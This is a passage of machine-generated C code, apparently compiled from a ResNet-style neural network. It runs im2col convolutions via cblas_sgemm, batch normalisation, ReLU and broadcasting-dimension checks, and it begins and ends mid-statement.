x4120;\nint32_t x4145 = x4144 * x4120;\nint32_t x4141 = x4139 % 1;\nint32_t x4142 = x4141 / 1;\nint32_t x4146 = x4142 * x4120;\nint32_t x4147 = x4146 * x4120;\nint32_t x4148 = x4145 + x4147;\nint32_t x4143 = x4141 % 1;\nint32_t x4149 = x4143 * x4120;\nint32_t x4150 = x4149 * x4120;\nint32_t x4151 = x4148 + x4150;\nfloat* x4152 = x4138+x4151;\nint32_t x4153 = x4140 * x3992;\nint32_t x4154 = x4153 * x3992;\nfloat* x4155 = x4134+x4154;\nfor(int x4157=0; x4157 < x4120; x4157++) {\nint32_t x4159 = x4157 * x4120;\nfloat* x4160 = x4152+x4159;\nint32_t x4158 = x4157 + x4142;\nint32_t x4161 = x4158 * x3992;\nint32_t x4162 = x4161 + x4143;\nfloat* x4163 = x4155+x4162;\nmemcpy(x4160, x4163, 4 * x4120);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 64,x4121,x3990,1,x150,x3990,x4138,x4121,1,x4136,x4121);\n\n}\nint32_t x4172 = 0;\nint32_t x4173 = 1;\nx4173 *= 1;\nx4172 += 1;\nx4173 *= 1;\nx4173 *= 1;\nint32_t x4178 = x4172;\nbool x4179 = x4178 >= 2;\nif (x4179) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x4184 = x4178 == 0;\nif (x4184) {\nint32_t x4185 = x4173;\nbool x4186 = x4185 == 64;\nif (x4186) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x4193 = x4173;\nint32_t x4194 = 64 / x4193;\nbool x4195 = x4194 == 1;\nbool x4198;\nif (x454) {\nbool x4196 = 64 == x4194;\nbool x4197 = x4195 || x4196;\nx4198 = x4197;\n} else {\nx4198 = false;\n}\nbool x4202;\nif (x4198) {\nx4202 = x4201;\n} else {\nx4202 = false;\n}\nbool x4203;\nif (x4202) {\nx4203 = x4201;\n} else {\nx4203 = false;\n}\nif (x4203) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,64,x4120,x4120,1,x4194,1,1);\nassert(false && \"\");\n}\nbool x4209 = 64 <= x4194;\nint32_t x4210;\nif (x4209) {\nx4210 = x4194;\n} else {\nx4210 = 64;\n}\nint32_t x4219 = x4210 * x4218;\nint32_t x4220 = 64 * x4219;\nfloat* x4221 = (float*)myMalloc(x4220 * sizeof(float));;\nint32_t x4224;\nif (x4195) {\nx4224 = 0;\n} else {\nx4224 = 1;\n}\nfor(int x4225=0; x4225 < 64; x4225++) {\nint32_t x4237 = x4122 * x4225;\nint32_t x4231 = x4219 * x4225;\nfor(int x4227=0; x4227 < x4210; x4227++) {\nint32_t x4238 = x4121 * x4227;\nint32_t x4239 = x4237 + x4238;\nint32_t x4244 = x4224 * x4227;\nint32_t x4233 = x4218 * x4227;\nfor(int x4229=0; x4229 < x4212; x4229++) {\nint32_t x4240 = x4222 * x4229;\nint32_t x4241 = x4239 + x4240;\nint32_t x4235 = x4212 * x4229;\nfor(int x4230=0; x4230 < x4212; x4230++) {\nint32_t x4242 = x4223 * x4230;\nint32_t x4243 = x4241 + x4242;\nfloat x4245 = x4126[x4243];\nfloat x4246 = x257[x4244];\nint32_t x4232 = x4230 + x4231;\nint32_t x4234 = x4232 + x4233;\nint32_t x4236 = x4234 + x4235;\nfloat x4247 = x4245 - x4246;\nx4221[x4236] = x4247;\n\n}\n\n}\n\n}\n\n}\nfloat* x4257 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x4258=0; x4258 < 64; x4258++) {\nfloat x4259 = x187[x4258];\nfloat x4260 = x4259 + 1.0E-5f;\nx4257[x4258] = x4260;\n\n}\nfloat* x4264 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x4265=0; x4265 < 64; x4265++) {\nfloat x4266 = x4257[x4265];\ndouble x4267 = (double)x4266;\ndouble x4268 = sqrt(x4267);\nfloat x4269 = (float)x4268;\nx4264[x4265] = x4269;\n\n}\nint32_t x4273 = 0;\nint32_t x4274 = 1;\nx4274 *= 1;\nx4273 += 1;\nx4274 *= 1;\nx4274 *= 1;\nint32_t x4279 = x4273;\nbool x4280 = x4279 >= 2;\nif (x4280) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x4285 = x4279 == 0;\nif (x4285) {\nint32_t x4286 = x4274;\nbool x4287 = x4286 == 64;\nif (x4287) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x4294 = x4274;\nbool x4296 = x4210 == 1;\nint32_t x4295 = 64 / x4294;\nbool x4297 = x4295 == 1;\nbool x4301;\nif (x454) {\nbool x4298 = x4296 || x4297;\nbool x4299 = x4210 == x4295;\nbool x4300 = x4298 || x4299;\nx4301 = x4300;\n} else {\nx4301 = false;\n}\nbool x4305;\nif (x4301) {\nx4305 = x4304;\n} else {\nx4305 = false;\n}\nbool x4306;\nif (x4305) {\nx4306 = x4304;\n} else {\nx4306 = false;\n}\nif (x4306) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x4210,x4212,x4212,1,x4295,1,1);\nassert(false && \"\");\n}\nbool x4312 = x4210 <= x4295;\nint32_t x4313;\nif (x4312) {\nx4313 = x4295;\n} else {\nx4313 = x4210;\n}\nint32_t x4322 = x4313 * x4321;\nint32_t x4323 = 64 * x4322;\nfloat* x4324 = (float*)myMalloc(x4323 * sizeof(float));;\nint32_t x4325;\nif (x4296) {\nx4325 = 0;\n} else {\nx4325 = x4218;\n}\nint32_t x4328;\nif (x4297) {\nx4328 = 0;\n} else {\nx4328 = 1;\n}\nfor(int x4329=0; x4329 < 64; x4329++) {\nint32_t x4341 = x4219 * x4329;\nint32_t x4335 = x4322 * x4329;\nfor(int x4331=0; x4331 < x4313; x4331++) {\nint32_t x4342 = x4325 * x4331;\nint32_t x4343 = x4341 + x4342;\nint32_t x4348 = x4328 * x4331;\nint32_t x4337 = x4321 * x4331;\nfor(int x4333=0; x4333 < x4315; x4333++) {\nint32_t x4344 = x4326 * x4333;\nint32_t x4345 = x4343 + x4344;\nint32_t x4339 = x4315 * x4333;\nfor(int x4334=0; x4334 < x4315; x4334++) {\nint32_t x4346 = x4327 * x4334;\nint32_t x4347 = x4345 + x4346;\nfloat x4349 = x4221[x4347];\nfloat x4350 = x4264[x4348];\nint32_t x4336 = x4334 + x4335;\nint32_t x4338 = x4336 + x4337;\nint32_t x4340 = x4338 + x4339;\nfloat x4351 = x4349 / x4350;\nx4324[x4340] = x4351;\n\n}\n\n}\n\n}\n\n}\nint32_t x4361 = 0;\nint32_t x4362 = 1;\nx4362 *= 1;\nx4361 += 1;\nx4362 *= 1;\nx4362 *= 1;\nint32_t x4367 = x4361;\nbool x4368 = x4367 >= 2;\nif (x4368) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x4373 = x4367 == 0;\nif (x4373) {\nint32_t x4374 = x4362;\nbool x4375 = x4374 == 64;\nif (x4375) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x4382 = x4362;\nbool x4384 = x4313 == 1;\nint32_t x4383 = 64 / x4382;\nbool x4385 = x4383 == 1;\nbool x4389;\nif (x454) {\nbool x4386 = x4384 || x4385;\nbool x4387 = x4313 == x4383;\nbool x4388 = x4386 || x4387;\nx4389 = x4388;\n} else {\nx4389 = false;\n}\nbool x4393;\nif (x4389) {\nx4393 = x4392;\n} else {\nx4393 = false;\n}\nbool x4394;\nif (x4393) {\nx4394 = x4392;\n} else {\nx4394 = false;\n}\nif (x4394) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x4313,x4315,x4315,1,x4383,1,1);\nassert(false && \"\");\n}\nbool x4400 = x4313 <= x4383;\nint32_t x4401;\nif (x4400) {\nx4401 = x4383;\n} else {\nx4401 = x4313;\n}\nint32_t x4410 = x4401 * x4409;\nint32_t x4411 = 64 * x4410;\nfloat* x4412 = (float*)myMalloc(x4411 * sizeof(float));;\nint32_t x4413;\nif (x4384) {\nx4413 = 0;\n} else {\nx4413 = x4321;\n}\nint32_t x4416;\nif (x4385) {\nx4416 = 0;\n} else {\nx4416 = 1;\n}\nfor(int x4417=0; x4417 < 64; x4417++) {\nint32_t x4429 = x4322 * x4417;\nint32_t x4423 = x4410 * x4417;\nfor(int x4419=0; x4419 < x4401; x4419++) {\nint32_t x4430 = x4413 * x4419;\nint32_t x4431 = x4429 + x4430;\nint32_t x4436 = x4416 * x4419;\nint32_t x4425 = x4409 * x4419;\nfor(int x4421=0; x4421 < x4403; x4421++) {\nint32_t x4432 = x4414 * x4421;\nint32_t x4433 = x4431 + x4432;\nint32_t x4427 = x4403 * x4421;\nfor(int x4422=0; x4422 < x4403; x4422++) {\nint32_t x4434 = x4415 * x4422;\nint32_t x4435 = x4433 + x4434;\nfloat x4437 = x4324[x4435];\nfloat x4438 = x81[x4436];\nint32_t x4424 = x4422 + x4423;\nint32_t x4426 = x4424 + x4425;\nint32_t x4428 = x4426 + x4427;\nfloat x4439 = x4437 * x4438;\nx4412[x4428] = x4439;\n\n}\n\n}\n\n}\n\n}\nint32_t x4449 = 0;\nint32_t x4450 = 1;\nx4450 *= 1;\nx4449 += 1;\nx4450 *= 1;\nx4450 *= 1;\nint32_t x4455 = x4449;\nbool x4456 = x4455 >= 2;\nif (x4456) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x4461 = x4455 == 0;\nif (x4461) {\nint32_t x4462 = x4450;\nbool x4463 = x4462 == 64;\nif (x4463) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x4470 = x4450;\nbool x4472 = x4401 == 1;\nint32_t x4471 = 64 / x4470;\nbool x4473 = x4471 == 1;\nbool x4477;\nif (x454) {\nbool x4474 = x4472 || x4473;\nbool x4475 = x4401 == x4471;\nbool x4476 = x4474 || x4475;\nx4477 = x4476;\n} else {\nx4477 = false;\n}\nbool x4481;\nif (x4477) {\nx4481 = x4480;\n} else {\nx4481 = false;\n}\nbool x4482;\nif (x4481) {\nx4482 = x4480;\n} else {\nx4482 = false;\n}\nif (x4482) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x4401,x4403,x4403,1,x4471,1,1);\nassert(false && \"\");\n}\nbool x4488 = x4401 <= x4471;\nint32_t x4489;\nif (x4488) {\nx4489 = x4471;\n} else {\nx4489 = x4401;\n}\nint32_t x4498 = x4489 * x4497;\nint32_t x4499 = 64 * x4498;\nfloat* x4500 = (float*)myMalloc(x4499 * sizeof(float));;\nint32_t x4501;\nif (x4472) {\nx4501 = 0;\n} else {\nx4501 = x4409;\n}\nint32_t x4504;\nif (x4473) {\nx4504 = 0;\n} else {\nx4504 = 1;\n}\nfor(int x4505=0; x4505 < 64; x4505++) {\nint32_t x4517 = x4410 * x4505;\nint32_t x4511 = x4498 * x4505;\nfor(int x4507=0; x4507 < x4489; x4507++) {\nint32_t x4518 = x4501 * x4507;\nint32_t x4519 = x4517 + x4518;\nint32_t x4524 = x4504 * x4507;\nint32_t x4513 = x4497 * x4507;\nfor(int x4509=0; x4509 < x4491; x4509++) {\nint32_t x4520 = x4502 * x4509;\nint32_t x4521 = x4519 + x4520;\nint32_t x4515 = x4491 * x4509;\nfor(int x4510=0; x4510 < x4491; x4510++) {\nint32_t x4522 = x4503 * x4510;\nint32_t x4523 = x4521 + x4522;\nfloat x4525 = x4412[x4523];\nfloat x4526 = x24[x4524];\nint32_t x4512 = x4510 + x4511;\nint32_t x4514 = x4512 + x4513;\nint32_t x4516 = x4514 + x4515;\nfloat x4527 = x4525 + x4526;\nx4500[x4516] = x4527;\n\n}\n\n}\n\n}\n\n}\nfloat* x4537 = (float*)myMalloc(x4499 * sizeof(float));;\nfor(int x4539=0; x4539 < x4499; x4539++) {\nfloat x4540 = x4500[x4539];\nbool x4541 = x4540 < 0.0f;\nif (x4541) {\nx4537[x4539] = 0.0f;\n} else {\nfloat x4544 = x4500[x4539];\nx4537[x4539] = x4544;\n}\n\n}\nfloat* x4559 = (float*)myMalloc(x4558 * sizeof(float));;\nint32_t x4560 = 9 * x4489;\nint32_t x4563 = 64 * x4560;\nint32_t x4564 = x4563 * x4554;\nfloat* x4565 = (float*)myMalloc(x4564 * sizeof(float));;\nint32_t x4561 = x4560 * x4554;\nint32_t x4573 = x4489 * 3;\nint32_t x4574 = x4573 * 3;\nfor(int x4566=0; x4566 < 64; x4566++) {\nint32_t x4567 = x4566 * x4498;\nfloat* x4568 = x4537+x4567;\nint32_t x4569 = x4566 * x4555;\nfloat* x4570 = x4559+x4569;\nint32_t x4571 = x4566 * x4561;\nfloat* x4572 = x4565+x4571;\nfor(int x4576=0; x4576 < x4574; x4576++) {\nint32_t x4577 = x4576 / 9;\nint32_t x4581 = x4577 * 3;\nint32_t x4582 = x4581 * 3;\nint32_t x4583 = x4582 * x4553;\nint32_t x4584 = x4583 * x4553;\nint32_t x4578 = x4576 % 9;\nint32_t x4579 = x4578 / 3;\nint32_t x4585 = x4579 * 3;\nint32_t x4586 = x4585 * x4553;\nint32_t x4587 = x4586 * x4553;\nint32_t x4588 = x4584 + x4587;\nint32_t x4580 = x4578 % 3;\nint32_t x4589 = x4580 * x4553;\nint32_t x4590 = x4589 * x4553;\nint32_t x4591 = x4588 + x4590;\nfloat* x4592 = x4572+x4591;\nint32_t x4593 = x4577 * x4491;\nint32_t x4594 = x4593 * x4491;\nfloat* x4595 = x4568+x4594;\nint32_t x4608 = 1 - x4580;\nbool x4609 = x4608 > 0;\nint32_t x4610;\nif (x4609) {\nx4610 = x4608;\n} else {\nx4610 = 0;\n}\nint32_t x4611 = 3 - x4580;\nint32_t x4612 = x4611 - 1;\nint32_t x4613 = 1 - x4612;\nbool x4614 = x4613 > 0;\nint32_t x4615;\nif (x4614) {\nx4615 = x4613;\n} else {\nx4615 = 0;\n}\nint32_t x4616 = x4553 - x4615;\nint32_t x4617 = x4616 - x4610;\nbool x4618 = x4617 <= 0;\nbool x4622 = x4610 > 0;\nint32_t x4607 = -1 + x4580;\nbool x4635 = x4615 > 0;\nfor(int x4597=0; x4597 < x4553; x4597++) {\nint32_t x4598 = x4597 - 1;\nint32_t x4599 = x4598 + x4579;\nbool x4600 = x4599 < 0;\nbool x4601 = x4599 >= x4491;\nbool x4602 = x4600 || x4601;\nif (x4602) {\nint32_t x4603 = x4597 * x4553;\nfloat* x4604 = x4592+x4603;\nmemset(x4604, 0, 4 * x4553);;\n} else {\nif (x4618) {\nint32_t x4603 = x4597 * x4553;\nfloat* x4619 = x4592+x4603;\nmemset(x4619, 0, 4 * x4553);;\n} else {\nint32_t x4603 = x4597 * x4553;\nif (x4622) {\nfloat* x4623 = x4592+x4603;\nmemset(x4623, 0, 4 * x4610);;\n} else {\n}\n// may have segfault here\nint32_t x4628 = x4603 + x4610;\nfloat* x4629 = x4592+x4628;\nint32_t x4630 = x4599 * x4491;\nint32_t x4631 = x4630 + x4607;\nint32_t x4632 = x4631 + x4610;\nfloat* x4633 = x4595+x4632;\nmemcpy(x4629, x4633, 4 * x4617);;\nif (x4635) {\nint32_t x4636 = x4603 + x4553;\nint32_t x4637 = x4636 - x4615;\nfloat* x4638 = x4592+x4637;\nmemset(x4638, 0, 4 * x4615);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 64,x4554,x4560,1,x73,x4560,x4572,x4554,1,x4570,x4554);\n\n}\nint32_t x4653 = 0;\nint32_t x4654 = 1;\nx4654 *= 1;\nx4653 += 1;\nx4654 *= 1;\nx4654 *= 1;\nint32_t x4659 = x4653;\nbool x4660 = x4659 >= 2;\nif (x4660) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x4665 = x4659 == 0;\nif (x4665) {\nint32_t x4666 = x4654;\nbool x4667 = x4666 == 64;\nif (x4667) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x4674 = x4654;\nint32_t x4675 = 64 / x4674;\nbool x4676 = x4675 == 1;\nbool x4679;\nif (x454) {\nbool x4677 = 64 == x4675;\nbool x4678 = x4676 || x4677;\nx4679 = x4678;\n} else {\nx4679 = false;\n}\nbool x4683;\nif (x4679) {\nx4683 = x4682;\n} else {\nx4683 = false;\n}\nbool x4684;\nif (x4683) {\nx4684 = x4682;\n} else {\nx4684 = false;\n}\nif (x4684) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,64,x4553,x4553,1,x4675,1,1);\nassert(false && \"\");\n}\nbool x4690 = 64 <= x4675;\nint32_t x4691;\nif (x4690) {\nx4691 = x4675;\n} else {\nx4691 = 64;\n}\nint32_t x4700 = x4691 * x4699;\nint32_t x4701 = 64 * x4700;\nfloat* x4702 = (float*)myMalloc(x4701 * sizeof(float));;\nint32_t x4705;\nif (x4676) {\nx4705 = 0;\n} else {\nx4705 = 1;\n}\nfor(int x4706=0; x4706 < 64; x4706++) {\nint32_t x4718 = x4555 * x4706;\nint32_t x4712 = x4700 * x4706;\nfor(int x4708=0; x4708 < x4691; x4708++) {\nint32_t x4719 = x4554 * x4708;\nint32_t x4720 = x4718 + x4719;\nint32_t x4725 = x4705 * x4708;\nint32_t x4714 = x4699 * x4708;\nfor(int x4710=0; x4710 < x4693; x4710++) {\nint32_t x4721 = x4703 * x4710;\nint32_t x4722 = x4720 + x4721;\nint32_t x4716 = x4693 * x4710;\nfor(int x4711=0; x4711 < x4693; x4711++) {\nint32_t x4723 = x4704 * x4711;\nint32_t x4724 = x4722 + x4723;\nfloat x4726 = x4559[x4724];\nfloat x4727 = x179[x4725];\nint32_t x4713 = x4711 + x4712;\nint32_t x4715 = x4713 + x4714;\nint32_t x4717 = x4715 + x4716;\nfloat x4728 = x4726 - x4727;\nx4702[x4717] = x4728;\n\n}\n\n}\n\n}\n\n}\nfloat* x4738 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x4739=0; x4739 < 64; x4739++) {\nfloat x4740 = x118[x4739];\nfloat x4741 = x4740 + 1.0E-5f;\nx4738[x4739] = x4741;\n\n}\nfloat* x4745 = (float*)myMalloc(64 * sizeof(float));;\nfor(int x4746=0; x4746 < 64; x4746++) {\nfloat x4747 = x4738[x4746];\ndouble x4748 = (double)x4747;\ndouble x4749 = sqrt(x4748);\nfloat x4750 = (float)x4749;\nx4745[x4746] = x4750;\n\n}\nint32_t x4754 = 0;\nint32_t x4755 = 1;\nx4755 *= 1;\nx4754 += 1;\nx4755 *= 1;\nx4755 *= 1;\nint32_t x4760 = x4754;\nbool x4761 = x4760 >= 2;\nif (x4761) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x4766 = x4760 == 0;\nif (x4766) {\nint32_t x4767 = x4755;\nbool x4768 = x4767 == 64;\nif (x4768) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x4775 = x4755;\nbool x4777 = x4691 == 1;\nint32_t x4776 = 64 / x4775;\nbool x4778 = x4776 == 1;\nbool x4782;\nif (x454) {\nbool x4779 = x4777 || x4778;\nbool x4780 = x4691 == x4776;\nbool x4781 = x4779 || x4780;\nx4782 = x4781;\n} else {\nx4782 = false;\n}\nbool x4786;\nif (x4782) {\nx4786 = x4785;\n} else {\nx4786 = false;\n}\nbool x4787;\nif (x4786) {\nx4787 = x4785;\n} else {\nx4787 = false;\n}\nif (x4787) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x4691,x4693,x4693,1,x4776,1,1);\nassert(false && \"\");\n}\nbool x4793 = x4691 <= x4776;\nint32_t x4794;\nif (x4793) {\nx4794 = x4776;\n} else {\nx4794 = x4691;\n}\nint32_t x4803 = x4794 * x4802;\nint32_t x4804 = 64 * x4803;\nfloat* x4805 = (float*)myMalloc(x4804 * sizeof(float));;\nint32_t x4806;\nif (x4777) {\nx4806 = 0;\n} else {\nx4806 = x4699;\n}\nint32_t x4809;\nif (x4778) {\nx4809 = 0;\n} else {\nx4809 = 1;\n}\nfor(int x4810=0; x4810 < 64; x4810++) {\nint32_t x4822 = x4700 * x4810;\nint32_t x4816 = x4803 * x4810;\nfor(int x4812=0; x4812 < x4794; x4812++) {\nint32_t x4823 = x4806 * x4812;\nint32_t x4824 = x4822 + x4823;\nint32_t x4829 = x4809 * x4812;\nint32_t x4818 = x4802 * x4812;\nfor(int x4814=0; x4814 < x4796; x4814++) {\nint32_t x4825 = x4807 * x4814;\nint32_t x4826 = x4824 + x4825;\nint32_t x4820 = x4796 * x4814;\nfor(int x4815=0; x4815 < x4796; x4815++) {\nint32_t x4827 = x4808 * x4815;\nint32_t x4828 = x4826 + x4827;\nfloat x4830 = x4702[x4828];\nfloat x4831 = x4745[x4829];\nint32_t x4817 = x4815 + x4816;\nint32_t x4819 = x4817 + x4818;\nint32_t x4821 = x4819 + x4820;\nfloat x4832 = x4830 / x4831;\nx4805[x4821] = x4832;\n\n}\n\n}\n\n}\n\n}\nint32_t x4842 = 0;\nint32_t x4843 = 1;\nx4843 *= 1;\nx4842 += 1;\nx4843 *= 1;\nx4843 *= 1;\nint32_t x4848 = x4842;\nbool x4849 = x4848 >= 2;\nif (x4849) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x4854 = x4848 == 0;\nif (x4854) {\nint32_t x4855 = x4843;\nbool x4856 = x4855 == 64;\nif (x4856) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x4863 = x4843;\nbool x4865 = x4794 == 1;\nint32_t x4864 = 64 / x4863;\nbool x4866 = x4864 == 1;\nbool x4870;\nif (x454) {\nbool x4867 = x4865 || x4866;\nbool x4868 = x4794 == x4864;\nbool x4869 = x4867 || x4868;\nx4870 = x4869;\n} else {\nx4870 = false;\n}\nbool x4874;\nif (x4870) {\nx4874 = x4873;\n} else {\nx4874 = false;\n}\nbool x4875;\nif (x4874) {\nx4875 = x4873;\n} else {\nx4875 = false;\n}\nif (x4875) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x4794,x4796,x4796,1,x4864,1,1);\nassert(false && \"\");\n}\nbool x4881 = x4794 <= x4864;\nint32_t x4882;\nif (x4881) {\nx4882 = x4864;\n} else {\nx4882 = x4794;\n}\nint32_t x4891 = x4882 * x4890;\nint32_t x4892 = 64 * x4891;\nfloat* x4893 = (float*)myMalloc(x4892 * sizeof(float));;\nint32_t x4894;\nif (x4865) {\nx4894 = 0;\n} else {\nx4894 = x4802;\n}\nint32_t x4897;\nif (x4866) {\nx4897 = 0;\n} else {\nx4897 = 1;\n}\nfor(int x4898=0; x4898 < 64; x4898++) {\nint32_t x4910 = x4803 * x4898;\nint32_t x4904 = x4891 * x4898;\nfor(int x4900=0; x4900 < x4882; x4900++) {\nint32_t x4911 = x4894 * x4900;\nint32_t x4912 = x4910 + x4911;\nint32_t x4917 = x4897 * x4900;\nint32_t x4906 = x4890 * x4900;\nfor(int x4902=0; x4902 < x4884; x4902++) {\nint32_t x4913 = x4895 * x4902;\nint32_t x4914 = x4912 + x4913;\nint32_t x4908 = x4884 * x4902;\nfor(int x4903=0; x4903 < x4884; x4903++) {\nint32_t x4915 = x4896 * x4903;\nint32_t x4916 = x4914 + x4915;\nfloat x4918 = x4805[x4916];\nfloat x4919 = x72[x4917];\nint32_t x4905 = x4903 + x4904;\nint32_t x4907 = x4905 + x4906;\nint32_t x4909 = x4907 + x4908;\nfloat x4920 = x4918 * x4919;\nx4893[x4909] = x4920;\n\n}\n\n}\n\n}\n\n}\nint32_t x4930 = 0;\nint32_t x4931 = 1;\nx4931 *= 1;\nx4930 += 1;\nx4931 *= 1;\nx4931 *= 1;\nint32_t x4936 = x4930;\nbool x4937 = x4936 >= 2;\nif (x4937) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x4942 = x4936 == 0;\nif (x4942) {\nint32_t x4943 = x4931;\nbool x4944 = x4943 == 64;\nif (x4944) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x4951 = x4931;\nbool x4953 = x4882 == 1;\nint32_t x4952 = 64 / x4951;\nbool x4954 = x4952 == 1;\nbool x4958;\nif (x454) {\nbool x4955 = x4953 || x4954;\nbool x4956 = x4882 == x4952;\nbool x4957 = x4955 || x4956;\nx4958 = x4957;\n} else {\nx4958 = false;\n}\nbool x4962;\nif (x4958) {\nx4962 = x4961;\n} else {\nx4962 = false;\n}\nbool x4963;\nif (x4962) {\nx4963 = x4961;\n} else {\nx4963 = false;\n}\nif (x4963) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x4882,x4884,x4884,1,x4952,1,1);\nassert(false && \"\");\n}\nbool x4969 = x4882 <= x4952;\nint32_t x4970;\nif (x4969) {\nx4970 = x4952;\n} else {\nx4970 = x4882;\n}\nint32_t x4979 = x4970 * x4978;\nint32_t x4980 = 64 * x4979;\nfloat* x4981 = (float*)myMalloc(x4980 * sizeof(float));;\nint32_t x4982;\nif (x4953) {\nx4982 = 0;\n} else {\nx4982 = x4890;\n}\nint32_t x4985;\nif (x4954) {\nx4985 = 0;\n} else {\nx4985 = 1;\n}\nfor(int x4986=0; x4986 < 64; x4986++) {\nint32_t x4998 = x4891 * x4986;\nint32_t x4992 = x4979 * x4986;\nfor(int x4988=0; x4988 < x4970; x4988++) {\nint32_t x4999 = x4982 * x4988;\nint32_t x5000 = x4998 + x4999;\nint32_t x5005 = x4985 * x4988;\nint32_t x4994 = x4978 * x4988;\nfor(int x4990=0; x4990 < x4972; x4990++) {\nint32_t x5001 = x4983 * x4990;\nint32_t x5002 = x5000 + x5001;\nint32_t x4996 = x4972 * x4990;\nfor(int x4991=0; x4991 < x4972; x4991++) {\nint32_t x5003 = x4984 * x4991;\nint32_t x5004 = x5002 + x5003;\nfloat x5006 = x4893[x5004];\nfloat x5007 = x135[x5005];\nint32_t x4993 = x4991 + x4992;\nint32_t x4995 = x4993 + x4994;\nint32_t x4997 = x4995 + x4996;\nfloat x5008 = x5006 + x5007;\nx4981[x4997] = x5008;\n\n}\n\n}\n\n}\n\n}\nfloat* x5018 = (float*)myMalloc(x4980 * sizeof(float));;\nfor(int x5020=0; x5020 < x4980; x5020++) {\nfloat x5021 = x4981[x5020];\nbool x5022 = x5021 < 0.0f;\nif (x5022) {\nx5018[x5020] = 0.0f;\n} else {\nfloat x5025 = x4981[x5020];\nx5018[x5020] = x5025;\n}\n\n}\nfloat* x5039 = (float*)myMalloc(x5038 * sizeof(float));;\nint32_t x5042 = 64 * x4970;\nint32_t x5043 = x5042 * x5034;\nfloat* x5044 = (float*)myMalloc(x5043 * sizeof(float));;\nint32_t x5040 = x4970 * x5034;\nfor(int x5045=0; x5045 < 64; x5045++) {\nint32_t x5046 = x5045 * x4979;\nfloat* x5047 = x5018+x5046;\nint32_t x5048 = x5045 * x5035;\nfloat* x5049 = x5039+x5048;\nint32_t x5050 = x5045 * x5040;\nfloat* x5051 = x5044+x5050;\nfor(int x5052=0; x5052 < x4970; x5052++) {\nint32_t x5053 = x5052 / 1;\nint32_t x5057 = x5053 * x5033;\nint32_t x5058 = x5057 * x5033;\nint32_t x5054 = x5052 % 1;\nint32_t x5055 = x5054 / 1;\nint32_t x5059 = x5055 * x5033;\nint32_t x5060 = x5059 * x5033;\nint32_t x5061 = x5058 + x5060;\nint32_t x5056 = x5054 % 1;\nint32_t x5062 = x5056 * x5033;\nint32_t x5063 = x5062 * x5033;\nint32_t x5064 = x5061 + x5063;\nfloat* x5065 = x5051+x5064;\nint32_t x5066 = x5053 * x4972;\nint32_t x5067 = x5066 * x4972;\nfloat* x5068 = x5047+x5067;\nfor(int x5070=0; x5070 < x5033; x5070++) {\nint32_t x5072 = x5070 * x5033;\nfloat* x5073 = x5065+x5072;\nint32_t x5071 = x5070 + x5055;\nint32_t x5074 = x5071 * x4972;\nint32_t x5075 = x5074 + x5056;\nfloat* x5076 = x5068+x5075;\nmemcpy(x5073, x5076, 4 * x5033);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x5034,x4970,1,x87,x4970,x5051,x5034,1,x5049,x5034);\n\n}\nint32_t x5085 = 0;\nint32_t x5086 = 1;\nx5086 *= 1;\nx5085 += 1;\nx5086 *= 1;\nx5086 *= 1;\nint32_t x5091 = x5085;\nbool x5092 = x5091 >= 2;\nif (x5092) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x5097 = x5091 == 0;\nif (x5097) {\nint32_t x5098 = x5086;\nbool x5099 = x5098 == 256;\nif (x5099) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x5106 = x5086;\nint32_t x5107 = 256 / x5106;\nbool x5108 = x5107 == 1;\nbool x5111;\nif (x454) {\nbool x5109 = 256 == x5107;\nbool x5110 = x5108 || x5109;\nx5111 = x5110;\n} else {\nx5111 = false;\n}\nbool x5115;\nif (x5111) {\nx5115 = x5114;\n} else {\nx5115 = false;\n}\nbool x5116;\nif (x5115) {\nx5116 = x5114;\n} else {\nx5116 = 